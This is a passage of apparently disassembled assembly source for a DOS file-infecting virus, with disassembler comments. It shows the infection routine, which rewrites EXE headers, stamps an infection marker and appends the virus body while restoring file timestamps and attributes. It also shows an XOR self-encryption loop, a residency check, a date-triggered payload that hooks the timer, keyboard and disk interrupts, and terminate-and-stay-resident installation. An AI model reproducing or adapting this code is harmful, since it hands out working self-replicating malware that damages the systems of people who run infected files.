  748.         call    sub_4            ; (09A5)
  749.         mov    dx,di
  750.         mov    cx,ds:data_38e        ; (6C23:0032=0)
  751.         mov    bx,ds:data_33e        ; (6C23:0028=0)
  752.         push    es
  753.         pop    ds
  754.         mov    ah,3Fh            ; '?'
  755.         int    21h            ; DOS Services  ah=function 3Fh
  756.                         ;  read file, cx=bytes, to ds:dx
  757. loc_47:
  758.         jc    loc_48            ; Jump if carry Set
  759.         add    di,cx
  760.         jc    loc_48            ; Jump if carry Set
  761.         xor    cx,cx            ; Zero register
  762.         mov    dx,cx
  763.         mov    ax,4200h
  764.         int    21h            ; DOS Services  ah=function 42h
  765.                         ;  move file ptr, cx,dx=offset
  766.         mov    cx,di
  767.         xor    dx,dx            ; Zero register
  768.         mov    ah,ds:data_19e        ; (3E00:006A=0FFh)
  769.         mov    ds:data_22e,ah        ; (3E00:02A6=0FFh)
  770.         mov    byte ptr ds:data_19e,0    ; (3E00:006A=0FFh)
  771.         mov    ah,40h            ; '@'
  772.         int    21h            ; DOS Services  ah=function 40h
  773.                         ;  write file cx=bytes, to ds:dx
  774.         mov    ah,ds:data_22e        ; (3E00:02A6=0FFh)
  775.         mov    ds:data_19e,ah        ; (3E00:006A=0FFh)
  776. loc_48:
  777.         jc    loc_50            ; Jump if carry Set
  778.         jmp    loc_57            ; (0952)
  779. loc_49:
  780.         mov    cx,1Ch
  781.         mov    dx,46h
  782.         mov    ah,3Fh            ; '?'
  783.         int    21h            ; DOS Services  ah=function 3Fh
  784.                         ;  read file, cx=bytes, to ds:dx
  785. loc_50:
  786.         jc    loc_52            ; Jump if carry Set
  787.         cmp    word ptr ds:data_16e,1989h    ; (3E00:0058=0FFFFh)
  788.         je    loc_52            ; Jump if equal
  789.         mov    word ptr ds:data_16e,1989h    ; (3E00:0058=0FFFFh)
  790.         mov    ax,ds:data_14e        ; (3E00:0054=0FFFFh)
  791.         mov    ds:data_6e,ax        ; (3E00:001A=0FFFFh)
  792.         mov    ax,ds:data_15e        ; (3E00:0056=0FFFFh)
  793.         mov    ds:data_5e,ax        ; (3E00:0018=0FFFFh)
  794.         mov    ax,ds:data_17e        ; (3E00:005A=0FFFFh)
  795.         mov    ds:data_7e,ax        ; (3E00:001C=0FFFFh)
  796.         mov    ax,ds:data_18e        ; (3E00:005C=0FFFFh)
  797.         mov    ds:data_8e,ax        ; (3E00:001E=0FFFFh)
  798.         mov    ax,ds:data_12e        ; (3E00:004A=0FFFFh)
  799.         cmp    word ptr ds:data_11e,0    ; (3E00:0048=0FFFFh)
  800.         je    loc_51            ; Jump if equal
  801.         dec    ax
  802. loc_51:
  803.         mul    word ptr ds:data_21e    ; (3E00:0088=0FFFFh) ax = data * ax
  804.         add    ax,ds:data_11e        ; (3E00:0048=0FFFFh)
  805.         adc    dx,0
  806.         add    ax,0Fh
  807.         adc    dx,0
  808.         and    ax,0FFF0h
  809.         mov    ds:data_9e,ax        ; (3E00:0020=0FFFFh)
  810.         mov    ds:data_10e,dx        ; (3E00:0022=0FFFFh)
  811.         add    ax,0BC4h
  812.         adc    dx,0
  813. loc_52:
  814.         jc    loc_54            ; Jump if carry Set
  815.         div    word ptr ds:data_21e    ; (3E00:0088=0FFFFh) ax,dxrem=dx:ax/da
  816.         or    dx,dx            ; Zero ?
  817.         jz    loc_53            ; Jump if zero
  818.         inc    ax
  819. loc_53:
  820.         mov    ds:data_12e,ax        ; (3E00:004A=0FFFFh)
  821.         mov    ds:data_11e,dx        ; (3E00:0048=0FFFFh)
  822.         mov    ax,ds:data_9e        ; (3E00:0020=0FFFFh)
  823.         mov    dx,ds:data_10e        ; (3E00:0022=0FFFFh)
  824.         div    word ptr ds:data_20e    ; (3E00:0086=0FFFFh) ax,dxrem=dx:ax/da
  825.         sub    ax,ds:data_13e        ; (3E00:004E=0FFFFh)
  826.         mov    ds:data_18e,ax        ; (3E00:005C=0FFFFh)
  827.         mov    word ptr ds:data_17e,900h    ; (3E00:005A=0FFFFh)
  828.         mov    ds:data_14e,ax        ; (3E00:0054=0FFFFh)
  829.         mov    word ptr ds:data_15e,0BC4h    ; (3E00:0056=0FFFFh)
  830.         xor    cx,cx            ; Zero register
  831.         mov    dx,cx
  832.         mov    ax,4200h
  833.         int    21h            ; DOS Services  ah=function 42h
  834.                         ;  move file ptr, cx,dx=offset
  835. loc_54:
  836.         jc    loc_55            ; Jump if carry Set
  837.         mov    cx,1Ch
  838.         mov    dx,46h
  839.         mov    ah,ds:data_19e        ; (3E00:006A=0FFh)
  840.         mov    ds:data_22e,ah        ; (3E00:02A6=0FFh)
  841.         mov    byte ptr ds:data_19e,0    ; (3E00:006A=0FFh)
  842.         mov    ah,40h            ; '@'
  843.         int    21h            ; DOS Services  ah=function 40h
  844.                         ;  write file cx=bytes, to ds:dx
  845.         mov    ah,ds:data_22e        ; (3E00:02A6=0FFh)
  846.         mov    ds:data_19e,ah        ; (3E00:006A=0FFh)
  847. loc_55:
  848.         jc    loc_56            ; Jump if carry Set
  849.         cmp    ax,cx
  850.         jne    loc_57            ; Jump if not equal
  851.         mov    dx,ds:data_9e        ; (3E00:0020=0FFFFh)
  852.         mov    cx,ds:data_10e        ; (3E00:0022=0FFFFh)
  853.         mov    ax,4200h
  854.         int    21h            ; DOS Services  ah=function 42h
  855.                         ;  move file ptr, cx,dx=offset
  856. loc_56:
  857.         jc    loc_57            ; Jump if carry Set
  858.         inc    word ptr ds:data_3e    ; (3E00:0003=0FFFFh)
  859.         mov    ax,ds:data_3e        ; (3E00:0003=0FFFFh)
  860.         or    al,1
  861.         mov    ds:data_4e,al        ; (3E00:0005=0FFh)
  862.         call    sub_4            ; (09A5)
  863.         xor    dx,dx            ; Zero register
  864.         mov    cx,0BC4h
  865.         mov    ah,40h            ; '@'
  866.         int    21h            ; DOS Services  ah=function 40h
  867.                         ;  write file cx=bytes, to ds:dx
  868.         call    sub_4            ; (09A5)
  869. loc_57:
  870.         cmp    word ptr cs:data_47e,0    ; (6C23:0062=0)
  871.         je    loc_58            ; Jump if equal
  872.         mov    ah,49h            ; 'I'
  873.         int    21h            ; DOS Services  ah=function 49h
  874.                         ;  release memory block, es=seg
  875. loc_58:
  876.         cmp    word ptr cs:data_33e,0FFFFh    ; (6C23:0028=0)
  877.         je    loc_59            ; Jump if equal
  878.         mov    bx,cs:data_33e        ; (6C23:0028=0)
  879.         mov    dx,cs:data_35e        ; (6C23:002C=0)
  880.         mov    cx,cs:data_36e        ; (6C23:002E=0)
  881.         mov    ax,5701h
  882.         int    21h            ; DOS Services  ah=function 57h
  883.                         ;  get/set file date & time
  884.         mov    ah,3Eh            ; '>'
  885.         int    21h            ; DOS Services  ah=function 3Eh
  886.                         ;  close file, bx=file handle
  887.         lds    dx,dword ptr cs:data_31e    ; (6C23:0024=0) Load 32 bit ptr
  888.         mov    cx,cs:data_34e        ; (6C23:002A=0)
  889.         mov    ax,4301h
  890.         int    21h            ; DOS Services  ah=function 43h
  891.                         ;  get/set file attrb, nam@ds:dx
  892.         lds    dx,dword ptr cs:data_42e    ; (6C23:003C=0) Load 32 bit ptr
  893.         mov    ax,2524h
  894.         int    21h            ; DOS Services  ah=function 25h
  895.                         ;  set intrpt vector al to ds:dx
  896. loc_59:
  897.         pop    es
  898.         pop    ds
  899.         pop    di
  900.         pop    si
  901.         pop    dx
  902.         pop    cx
  903.         pop    bx
  904.         pop    ax
  905.         popf                ; Pop flags
  906.         jmp    dword ptr cs:data_41e    ; (6C23:0038=0)
  907.   
  908. ;==========================================================================
  909. ;                   SUBROUTINE
  910. ;==========================================================================
  911.   
  912. sub_4        proc    near
  913.         push    ds
  914.         push    es
  915.         push    di
  916.         push    si
  917.         push    cx
  918.         push    ax
  919.         push    cs
  920.         pop    es
  921.         push    cs
  922.         pop    ds
  923.         mov    si,6Bh
  924.         mov    di,si
  925.         mov    cx,0B6h
  926.         mov    ah,ds:data_24e        ; (6C23:0005=0)
  927.   
  928. locloop_60:
  929.         lodsb                ; String [si] to al
  930.         xor    al,ah
  931.         stosb                ; Store al to es:[di]
  932.         loop    locloop_60        ; Loop if cx > 0
  933.   
  934.         pop    ax
  935.         pop    cx
  936.         pop    si
  937.         pop    di
  938.         pop    es
  939.         pop    ds
  940.         retn
  941. sub_4        endp
  942.   
  943.   
  944. ;==========================================================================
  945. ;                   SUBROUTINE
  946. ;==========================================================================
  947.   
  948. sub_5        proc    near
  949.         xor    ax,ax            ; Zero register
  950.         mov    bx,ax
  951.         mov    dx,ax
  952.         mov    si,ax
  953.         mov    di,ax
  954.         retn
  955. sub_5        endp
  956.   
  957. loc_61:
  958.         cld                ; Clear direction
  959.         mov    ax,4B40h
  960.         int    21h            ; DOS Services  ah=function 4Bh
  961.                         ;  run progm @ds:dx, parm @es:bx
  962.         cmp    ax,5678h
  963.         jne    loc_62            ; Jump if not equal
  964.         mov    ax,4B41h
  965.         mov    di,100h
  966.         mov    si,0BC4h
  967.         add    si,di
  968.         mov    cx,cs:[di+32h]
  969.         nop                ;*Fixup for MASM (M)
  970.         int    21h            ; DOS Services  ah=function 4Bh
  971.                         ;  run progm @ds:dx, parm @es:bx
  972. loc_62:
  973.         mov    ax,cs
  974.         add    ax,10h
  975.         mov    ss,ax
  976.         mov    sp,0BB4h
  977.         push    ax
  978.         mov    ax,900h
  979.         push    ax
  980.         retf                ; Return far
  981.         db    0FCh, 6, 2Eh, 8Ch, 6, 40h
  982.         db    0, 2Eh, 8Ch, 6, 8Eh, 0
  983.         db    2Eh, 8Ch, 6, 92h, 0, 2Eh
  984.         db    8Ch, 6, 96h, 0, 8Ch, 0C0h
  985.         db    5, 10h, 0, 2Eh, 1, 6
  986.         db    1Eh, 0, 2Eh, 1, 6, 1Ah
  987.         db    0, 0B8h, 40h, 4Bh, 0CDh, 21h
  988.         db    3Dh, 78h, 56h, 75h, 13h, 7
  989.         db    2Eh, 8Eh, 16h, 1Ah, 0, 2Eh
  990.         db    8Bh, 26h, 18h, 0, 0E8h, 8Bh
  991.         db    0FFh, 2Eh, 0FFh, 2Eh, 1Ch, 0
  992.         db    0E8h, 60h, 0FFh, 0B4h, 0, 0CDh
  993.         db    1Ah, 8Bh, 0DAh
  994. loc_63:
  995.         int    1Ah            ; Real time clock   ah=func 00h
  996.                         ;  get system timer count cx,dx
  997.         cmp    bx,dx
  998.         je    loc_63            ; Jump if equal
  999.         xor    si,si            ; Zero register
  1000.         mov    bx,dx
  1001. loc_64:
  1002.         int    1Ah            ; Real time clock   ah=func 00h
  1003.                         ;  get system timer count cx,dx
  1004.         inc    si
  1005.         cmp    bx,dx
  1006.         je    loc_64            ; Jump if equal
  1007.         mov    word ptr cs:data_48e,0A000h    ; (6C23:0064=0)
  1008.         mov    bx,si
  1009.         sub    bx,50h
  1010.         cmp    bx,0A00h
  1011.         jae    loc_65            ; Jump if above or =
  1012.         mov    cl,4
  1013.         shl    bx,cl            ; Shift w/zeros fill
  1014.         mov    cs:data_48e,bx        ; (6C23:0064=0)
  1015. loc_65:
  1016.         xor    ax,ax            ; Zero register
  1017.         mov    es,ax
  1018.         mov    ax,es:data_1e        ; (0000:03FC=0F000h)
  1019.         mov    cs:data_44e,ax        ; (6C23:0042=0)
  1020.         mov    al,es:data_2e        ; (0000:03FE=16h)
  1021.         mov    cs:data_45e,al        ; (6C23:0044=0)
  1022.         mov    word ptr es:data_1e,0A5F3h    ; (0000:03FC=0F000h)
  1023.         mov    byte ptr es:data_2e,0CBh    ; (0000:03FE=16h)
  1024.         pop    ax
  1025.         add    ax,10h
  1026.         mov    es,ax
  1027.         push    cs
  1028.         pop    ds
  1029.         mov    cx,0BC4h
  1030.         shr    cx,1            ; Shift w/zeros fill
  1031.         xor    si,si            ; Zero register
  1032.         mov    di,si
  1033.         push    es
  1034.         mov    ax,9B3h
  1035.         push    ax
  1036. ;*        jmp    far ptr loc_1        ;*(0000:03FC)
  1037.         db    0EAh, 0FCh, 3, 0, 0
  1038.         db    8Ch, 0C8h, 8Eh, 0D0h, 0BCh, 0B4h
  1039.         db    0Bh, 33h, 0C0h, 8Eh, 0D8h, 2Eh
  1040.         db    0A1h, 42h, 0, 0A3h, 0FCh, 3
  1041.         db    2Eh, 0A0h, 44h, 0, 0A2h, 0FEh
  1042.         db    3, 8Bh, 0DCh, 0B1h, 4, 0D3h
  1043.         db    0EBh, 83h, 0C3h, 20h, 0B4h, 4Ah
  1044.         db    2Eh, 8Eh, 6, 40h, 0, 0CDh
  1045.         db    21h, 0B8h, 21h, 35h, 0CDh, 21h
  1046.         db    2Eh, 89h, 1Eh, 38h, 0, 2Eh
  1047.         db    8Ch, 6, 3Ah, 0, 0Eh, 1Fh
  1048.         db    0BAh, 11h, 5, 0B8h, 21h, 25h
  1049.         db    0CDh, 21h, 8Eh, 6, 40h, 0
  1050.         db    26h, 8Eh, 6, 2Ch, 0, 33h
  1051.         db    0FFh, 0B9h, 0FFh, 7Fh, 32h, 0C0h
  1052.   
  1053. locloop_66:
  1054.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  1055.         cmp    es:[di],al
  1056.         loopnz    locloop_66        ; Loop if zf=0, cx>0
  1057.   
  1058.         mov    dx,di
  1059.         add    dx,3
  1060.         mov    ax,4B00h
  1061.         push    es
  1062.         pop    ds
  1063.         push    cs
  1064.         pop    es
  1065.         mov    bx,8Ah
  1066.         push    ds
  1067.         push    es
  1068.         push    ax
  1069.         push    bx
  1070.         push    cx
  1071.         push    dx
  1072.         push    cs
  1073.         pop    ds
  1074.         mov    ah,2Ah            ; '*'
  1075.         int    21h            ; DOS Services  ah=function 2Ah
  1076.                         ;  get date, cx=year, dx=mon/day
  1077.         sub    cx,7BCh
  1078.         mov    ax,cx
  1079.         mov    bx,dx
  1080.         mov    cx,168h
  1081.         mul    cx            ; dx:ax = reg * ax
  1082.         xchg    ax,bx
  1083.         add    bl,al
  1084.         adc    bh,0
  1085.         mov    al,ah
  1086.         mov    cl,1Eh
  1087.         mul    cl            ; ax = reg * al
  1088.         add    ax,bx
  1089.         sub    ax,ds:data_37e        ; (6C23:0030=0)
  1090.         ja    loc_67            ; Jump if above
  1091.         jmp    loc_70            ; (0BD0)
  1092. loc_67:
  1093.         add    ds:data_37e,ax        ; (6C23:0030=0)
  1094.         cmp    ax,7
  1095.         ja    loc_68            ; Jump if above
  1096.         jmp    short loc_70        ; (0BD0)
  1097.         db    90h
  1098. loc_68:
  1099.         mov    ax,3508h
  1100.         int    21h            ; DOS Services  ah=function 35h
  1101.                         ;  get intrpt vector al in es:bx
  1102.         mov    ds:data_39e,bx        ; (6C23:0034=0)
  1103.         mov    word ptr ds:data_39e+2,es    ; (6C23:0036=0)
  1104.         push    cs
  1105.         pop    ds
  1106.         mov    ah,2Ch            ; ','
  1107.         int    21h            ; DOS Services  ah=function 2Ch
  1108.                         ;  get time, cx=hrs/min, dh=sec
  1109.         mov    cl,dh
  1110.         and    cl,1
  1111.         cmp    cl,0
  1112.         mov    dx,2AEh
  1113.         mov    byte ptr ds:data_51e,0    ; (6C23:0069=0)
  1114.         jnz    loc_69            ; Jump if not zero
  1115.         mov    dx,2D2h
  1116.         mov    byte ptr ds:data_51e,1    ; (6C23:0069=0)
  1117. loc_69:
  1118.         mov    word ptr ds:data_23e,1    ; (6C23:0003=0)
  1119.         mov    data_54,0        ; (6C23:0122=0)
  1120.         mov    data_53,1        ; (6C23:0121=2)
  1121.         mov    byte ptr ds:data_50e,0    ; (6C23:0068=0)
  1122.         mov    byte ptr ds:data_52e,0    ; (6C23:006A=0)
  1123.         mov    ax,2508h
  1124.         int    21h            ; DOS Services  ah=function 25h
  1125.                         ;  set intrpt vector al to ds:dx
  1126.         mov    ax,3509h
  1127.         int    21h            ; DOS Services  ah=function 35h
  1128.                         ;  get intrpt vector al in es:bx
  1129.         mov    ds:data_25e,bx        ; (6C23:0006=0)
  1130.         mov    word ptr ds:data_25e+2,es    ; (6C23:0008=0)
  1131.         mov    dx,35Dh
  1132.         mov    ax,2509h
  1133.         int    21h            ; DOS Services  ah=function 25h
  1134.                         ;  set intrpt vector al to ds:dx
  1135.         mov    ax,3513h
  1136.         int    21h            ; DOS Services  ah=function 35h
  1137.                         ;  get intrpt vector al in es:bx
  1138.         mov    ds:data_27e,bx        ; (6C23:000A=0)
  1139.         mov    word ptr ds:data_27e+2,es    ; (6C23:000C=0)
  1140.         mov    dx,4EFh
  1141.         mov    ax,2513h
  1142.         int    21h            ; DOS Services  ah=function 25h
  1143.                         ;  set intrpt vector al to ds:dx
  1144. loc_70:
  1145.         pop    dx
  1146.         pop    cx
  1147.         pop    bx
  1148.         pop    ax
  1149.         pop    es
  1150.         pop    ds
  1151.         pushf                ; Push flags
  1152.         call    dword ptr cs:data_41e    ; (6C23:0038=0)
  1153.         push    ds
  1154.         pop    es
  1155.         mov    ah,49h            ; 'I'
  1156.         int    21h            ; DOS Services  ah=function 49h
  1157.                         ;  release memory block, es=seg
  1158.         mov    ah,4Dh            ; 'M'
  1159.         int    21h            ; DOS Services  ah=function 4Dh
  1160.                         ;  get return code info in ax
  1161.         mov    ah,31h            ; '1'
  1162.         mov    dx,0BC4h
  1163.         mov    cl,4
  1164.         shr    dx,cl            ; Shift w/zeros fill
  1165.         add    dx,10h
  1166.         int    21h            ; DOS Services  ah=function 31h
  1167.                         ;  terminate & stay resident
  1168.         db    154 dup (0)
  1169.         db    6Ch, 15h, 2, 2Ah, 8Ah, 0
  1170.         db    0BCh, 7, 1, 1, 0C4h, 0Bh
  1171.         db    6Ch, 15h, 73h, 12h, 0F4h, 2
  1172.         db    4, 7Fh, 0CCh, 0, 0C4h, 0Bh
  1173.         db    1Dh, 0, 0, 0, 6Fh, 12h
  1174.         db    0AFh, 0Eh, 0F4h, 0Ah, 73h, 12h
  1175.         db    6, 0F2h, 82h, 0F0h, 0EBh, 6Fh
  1176.         db    66h, 2, 0EBh, 6Fh, 57h, 9
  1177.         db    0, 70h, 5Ah, 0, 0, 0C0h
  1178.         db    7Ch, 90h
  1179.         db    20 dup (90h)
  1180.         db    0CDh, 21h
  1181.   
  1182. seg_a        ends
  1183.   
  1184.   
  1185.   
  1186.         end    start
  1187.